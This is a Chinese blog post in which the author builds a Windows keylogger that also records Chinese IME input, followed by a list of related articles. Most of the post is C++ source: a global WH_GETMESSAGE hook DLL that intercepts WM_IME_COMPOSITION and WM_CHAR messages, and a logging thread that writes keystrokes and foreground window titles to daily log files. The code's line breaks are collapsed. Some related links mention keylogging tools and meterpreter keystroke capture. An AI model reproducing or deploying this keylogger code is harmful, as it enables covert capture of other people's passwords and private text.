看到网上有很多键盘记录工具,技痒,于是自己动手写了一个。

记录键盘,很显然需要使用钩子。如果只是记录所按下的按键,使用WH_KEYDOWN_LL即可,此钩子可以拦截所有按下键盘的动作(除极少数键外)。但是如果要记录通过输入法输入的中文字符,那么WH_KEYDOWN_LL是不够的,这里需要使用WH_GETMESSAGE钩子。这个钩子拦截所有从消息队列中取出的消息。而windows上所有的输入法基本上都是采用将输入字符翻译成汉字之后,通过PostMessage将汉字回发给应用程序。所以利用WH_GETMESSAGE钩子,在应用程序从消息队列中取出汉字消息之前对消息进行拦截,从而记录。

下面是HOOKDLL中的主要代码:

WH_GETMESSAGE全局钩子,其钩子回调函数必须写在DLL中,不能通过传递函数指针的方式,将回调函数体写在其他Model中。

这里采用内存文件映射的方法来达到数据共享。共享的数据包括记录线程的ID,中文字符。回调函数在拦截到中文字符消息时,将中文字符保存到共享内存中,然后通过PostThreadMessage通知记录线程。

WM_IME_COMPOSITION:当输入法将转换后的中文字符推送到应用程序时,应用程序会处理此消息。

BOOL CHookSystem::Start(int hookID)
{if(g_hook)Stop();if(!g_hook){HOOKPROC lpfn = NULL;if(hookID == WH_GETMESSAGE)lpfn = MessageProc;elselpfn = MessageProc;g_hook = ::SetWindowsHookEx(hookID, lpfn, CApplication::Hinst, 0); // 默认安装全局钩子,因为这是在dll中DWORD m = ::GetLastError();m_hookID = hookID;::PostMessage(NULL, WM_NULL, 0,0);return g_hook == NULL ? FALSE : TRUE;}elsereturn FALSE;
}
BOOL CHookSystem::Stop()
{if(g_hook && !::UnhookWindowsHookEx(g_hook))return FALSE;else{g_hook = NULL;m_hookID = 0;return TRUE;}
}
LRESULT CALLBACK CHookSystem::MessageProc(int nCode, WPARAM wParam, LPARAM lParam)
{LRESULT lResult = ::CallNextHookEx(g_hook, nCode, wParam, lParam);if(nCode < 0)return lResult;HANDLE hThreadid = ::OpenFileMapping(FILE_MAP_WRITE, false, TEXT("ThreadID"));// 打开文件映射对象ThreadIDif(hThreadid){int * pThreadid = (int *)::MapViewOfFile(hThreadid, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, 0);if(pThreadid)KBthreadid = (*pThreadid);elsereturn lResult;UnmapViewOfFile(pThreadid); // 撤销此次映射}else{return lResult;}TCHAR * pCNString;PMSG pmsg = (PMSG)lParam;if (nCode == HC_ACTION){switch (pmsg->message){case WM_IME_COMPOSITION:{//::MessageBox(NULL,TEXT("WM_IME_COMPOSITION"),TEXT("no"),MB_OK);HIMC hIMC;HWND hWnd=pmsg->hwnd;DWORD dwSize;TCHAR ch;TCHAR lpstr[MAX_CN_STRING_LEN];if(pmsg->lParam & GCS_RESULTSTR){HANDLE hCNString = ::OpenFileMapping(FILE_MAP_WRITE,false, TEXT("CNString"));if(hCNString) pCNString = (TCHAR *)::MapViewOfFile(hCNString,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);elsereturn lResult;if(!pCNString)return lResult;//先获取当前正在输入的窗口的输入法句柄hIMC = ImmGetContext(hWnd);if (!hIMC)return lResult;// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);// 缓冲区大小要加上字符串的NULL结束符大小,//   考虑到UNICODEdwSize += sizeof(WCHAR);memset(lpstr, 0, MAX_CN_STRING_LEN);// 再调用一次.ImmGetCompositionString获取字符串ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);//现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...//MessageBox(NULL, lpstr, lpstr, MB_OK); _tcscpy(pCNString, lpstr); // 拷贝到共享内存中ImmReleaseContext(hWnd, hIMC);UnmapViewOfFile(pCNString); // 撤销此次映射PostThreadMessage(KBthreadid,WM_KEYHOOK_CN_EN, wParam, lParam);}}break;case WM_CHAR:  //截获发向焦点窗口的键盘消息{PostThreadMessage(KBthreadid,WM_KEYHOOK_CN, pmsg->wParam, pmsg->lParam);}break;}}return(lResult);
}

下面是负责记录程序的主要代码:

记录键盘信息是一个实时性比较高的任务,为了不影响前台界面,这里需要采用子线程的方式来进行记录。

在子线程处理函数中,通过PeekMessage来获取线程消息。在消息处理函数中,将输入的字符记录到文件中。

void CMainWnd::StartKeyMonitorThread()
{::_beginthread(HookKeyBoardThread, 0, NULL);
}
void CMainWnd::StopKeyMonitorThread()
{::PostThreadMessage(ms_keyMonitorThreadID, WM_QUIT, 0, 0);::CloseHandle(hThreadid);::CloseHandle(hCNString);ms_keyMonitorThreadID = 0;hThreadid = NULL;hCNString = NULL; // 防止句柄被释放两次
}
VOID CMainWnd::HookKeyBoardThread(LPVOID info)
{ms_keyMonitorThreadID = ::GetCurrentThreadId();int threadid = ms_keyMonitorThreadID;hThreadid=CreateFileMapping((HANDLE)0xffffffff,NULL,PAGE_READWRITE,0,sizeof(int), TEXT("ThreadID"));hCNString=CreateFileMapping((HANDLE)0xffffffff,NULL,PAGE_READWRITE,0,MAX_CN_STRING_LEN, TEXT("CNString"));if(hThreadid){int *pThreadid = (int *)MapViewOfFile(hThreadid,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);if(pThreadid) *pThreadid = threadid;else{CBaseWnd::MessageBox(TEXT("创建内存映射失败"));return;}UnmapViewOfFile(pThreadid); // 撤销此次映射}else{CBaseWnd::MessageBox(TEXT("创建内存映射失败"));return;}MSG msg;CString oldInputWndName;while(true){if(PeekMessage(&msg,NULL,WM_KEYHOOK_CN,WM_KEYHOOK_CN,PM_REMOVE)){//const DWORD tid = GetWindowThreadProcessId(GetForegroundWindow(),NULL);//AttachThreadInput(tid, GetCurrentThreadId(),TRUE);CBaseWnd * pWnd = CBaseWnd::FromHandle(GetForegroundWindow()/*::GetFocus()*/);CString curInputWndName;if(pWnd != NULL)curInputWndName = pWnd->GetWndName();//AttachThreadInput(tid, GetCurrentThreadId(),FALSE);CString fileName = (m_logPath + (CDateTime::Now().ToShortDate() + TEXT(".log")));CFileStreamC file(fileName);if(curInputWndName.GetLength() > 0 && curInputWndName != oldInputWndName){oldInputWndName = curInputWndName;file.Write(TEXT("\n[%s] "), curInputWndName.GetCStr());}TCHAR str[20] = {0};int len = MyGetKeyNameText(msg.wParam, str, sizeof(str)/sizeof(TCHAR));//获得控制键名字,可能是非控制键则返回为空if(len > 0)file.Write(TEXT("(%s)"), str);elsefile.Write(TEXT("%c"), msg.wParam);}if(PeekMessage(&msg,NULL,WM_KEYHOOK_CN_EN,WM_KEYHOOK_CN_EN,PM_REMOVE)){TCHAR *pCNString;HANDLE hCNString=OpenFileMapping(FILE_MAP_WRITE,false, TEXT("CNString"));if(hCNString)pCNString=(TCHAR *)MapViewOfFile(hCNString,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);elsecontinue;//const DWORD tid = GetWindowThreadProcessId(GetForegroundWindow(),NULL);//AttachThreadInput(tid, GetCurrentThreadId(),TRUE);CBaseWnd * pWnd = CBaseWnd::FromHandle(GetForegroundWindow()/*::GetFocus()*/);CString curInputWndName;if(pWnd != NULL)curInputWndName = pWnd->GetWndName();//AttachThreadInput(tid, GetCurrentThreadId(),FALSE);CString fileName = (m_logPath + (CDateTime::Now().ToShortDate() + TEXT(".log")));CFileStreamC file(fileName);if(curInputWndName.GetLength() > 0 && curInputWndName != oldInputWndName){oldInputWndName = curInputWndName;file.Write(TEXT("\n[%s] "), curInputWndName.GetCStr());}file.Write(TEXT("%s"), pCNString);memset(pCNString,0,MAX_CN_STRING_LEN);UnmapViewOfFile(pCNString); // 撤销此次映射}if(PeekMessage(&msg,NULL,WM_QUIT,WM_QUIT,PM_REMOVE)) {break;}Sleep(1);}return;
}

实际效果截图:

这里在记录中文输入的同时,还记录的了当前所输入的窗口标题。

个别字符有乱码的情况,这是因为部分不可见字符没有进行屏蔽。

这个工具可以记录大部分中午输入,效率也还是很不错的,正常运行后,基本不会影响系统的正常使用。

键盘记录工具(支持中文)相关推荐

  1. 设置linux工具支持中文:

    设置linux工具支持中文: 一.设置/etc/sysconfig/i18n文件 (一) LANG="en_US.UTF-8" SUPPORTED="zh_CN.GB18 ...

  2. 工具开发|键盘记录工具原理及代码实现

    作者: Beard林 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x01 对于键盘记录简述 键盘记录一般用在后渗透中,以此方法寻求扩大战果.有些c2工具集成了这个功能, ...

  3. 键盘记录工具的制作 qq密码键盘记录器

    现在的计算机键盘除开传统的PS/2键盘以外另有USB键盘,本文只先容普通的PS/2键盘,是以本文的举出例子代码也只撑持PS/2键盘,对USB键盘无效.我们懂得计算机使得到键盘的信息,必需与键盘举行通信 ...

  4. QT-C++二维码生成工具(支持中文等任何字符的使用)

    QT-C++二维码生成工具 前言 1.效果预览 1.核心程序 全部程序 前言 QT/C++生成二维码程序,支持二维码图片本地保存功能. 1.效果预览 1.核心程序 如下: // 生成二维码图片QStr ...

  5. TouchEn nxKey:键盘记录反键盘记录解决方案

    TouchEn nxKey:键盘记录反键盘记录解决方案 本文译自:TouchEn nxKey: The keylogging anti-keylogger solution 我一周前写过关于韩国的强制 ...

  6. meterpreter + 键盘记录

    分享下自己的关于[metterpreter + 键盘记录]的学习 这里是使用ms17_010打入目标主机,具体就不进行描述. ms17_010 成功的话就是SYSTEM权限 如果我们要对管理员的键盘进 ...

  7. 键盘记录支持中文,3389(czy 原创)

    键盘记录支持中文,3389(原创)                                         czy 04.11.28 挂接WH_CALLWNDPROC(WM_IME_COMPO ...

  8. Java图片文本识别工具Eye实现(不支持中文)

    Eye 是一个使用 Java 开发的文字识别工具(OCR),该工具主要用来识别屏幕上的文字,不支持中文. 网址:http://eyeocr.sourceforge.net/ 工程引入:eye.jar和 ...

  9. ffmpeg中文开发手册_快速调用复杂命令,支持中文注释,命令行备忘工具navi两天就火了...

    晓查 发自 凹非寺 量子位 报道 | 公众号 QbitAI 刚学的一句新命令,才用完就忘了用法?通常情况下,命令后加一句-help就行了. 但是,命令的帮助文档往往内容太太太太多了,在里面找到自己关心 ...

最新文章

  1. windows下使用aspell开启emacs的单词拼写检查功能
  2. Python高级教程-生成器
  3. 10W学习笔记——查询之联接
  4. 一文读懂常用开源许可证
  5. 克隆CentOS6虚拟机eth0被修改为eth1如何修改eth0
  6. UnixBench算分介绍
  7. dataTable删除行
  8. mysql5.7.12安装问题
  9. (转)python3 urllib.request.urlopen() 错误UnicodeEncodeError: 'ascii' codec can't encode characters...
  10. HCIE-RS面试---STP拓扑变化过程
  11. 最新Keil MDK 5.37下载
  12. 笔记本电脑系统怎么重装,笔记本重装系统
  13. Docker容器Exited(137)解决方案
  14. 展望|人脸识别技术发展现状及未来趋势
  15. matlab在solver,matlab的solver
  16. uniapp 引用图片地址
  17. Excel vba按指定列号内容插入分页符
  18. 装修细节注意问题 装修细节有哪些
  19. Windows MySQL 下载及安装教程
  20. Google Play上架App设置隐私政策声明问题

热门文章

  1. 新年新玩法,数组“招婿”:老许,你要老婆不要?
  2. Ai-WB2模组基于TCP的MQTT连接服务器使用示例
  3. 蓝桥冲刺31天打卡—Day14
  4. php怎么定义字符串变量的值,php字符串变量怎么替换
  5. 微信小游戏申请注册流程+开发微信小游戏类目需要具备条件
  6. 树莓派触摸屏翻转显示以及触摸翻转
  7. php获取蓝凑云文件列表,PHP获取蓝奏云直链下载地址
  8. android fps测试 源码,转一个刺激战场极限帧率代码和修改教程,亲测流畅不卡
  9. 顺序内聚和过程内聚的区别
  10. 资料外泄:给系统管理者的警告